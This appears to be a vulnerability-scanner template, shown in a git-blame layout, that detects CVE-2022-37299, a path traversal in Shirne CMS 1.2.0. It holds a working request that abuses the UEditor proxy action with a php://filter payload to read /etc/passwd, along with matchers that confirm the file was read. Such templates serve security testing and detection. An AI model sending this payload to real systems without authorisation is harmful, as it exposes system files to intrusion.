2022-09-09 19:15:18 +00:00
|
|
|
id: CVE-2022-37299
|
|
|
|
|
|
|
|
info:
|
2022-09-10 09:05:15 +00:00
|
|
|
name: Shirne CMS 1.2.0. - Path Traversal
|
2022-09-09 19:15:18 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-09-12 08:20:09 +00:00
|
|
|
description: Shirne CMS 1.2.0 There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php
|
2022-09-09 19:15:18 +00:00
|
|
|
reference:
|
|
|
|
- https://twitter.com/pikpikcu/status/1568316864690028544
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-37299
|
|
|
|
- https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
|
2022-09-12 08:19:50 +00:00
|
|
|
tags: cve,cve2022,shirnecms,lfi
|
2022-09-09 19:15:18 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-09-12 08:19:50 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "cm9vd" # root in base64
|
|
|
|
|
2022-09-09 19:15:18 +00:00
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
2022-09-10 09:05:15 +00:00
|
|
|
- "image/png"
|
2022-09-09 19:15:18 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|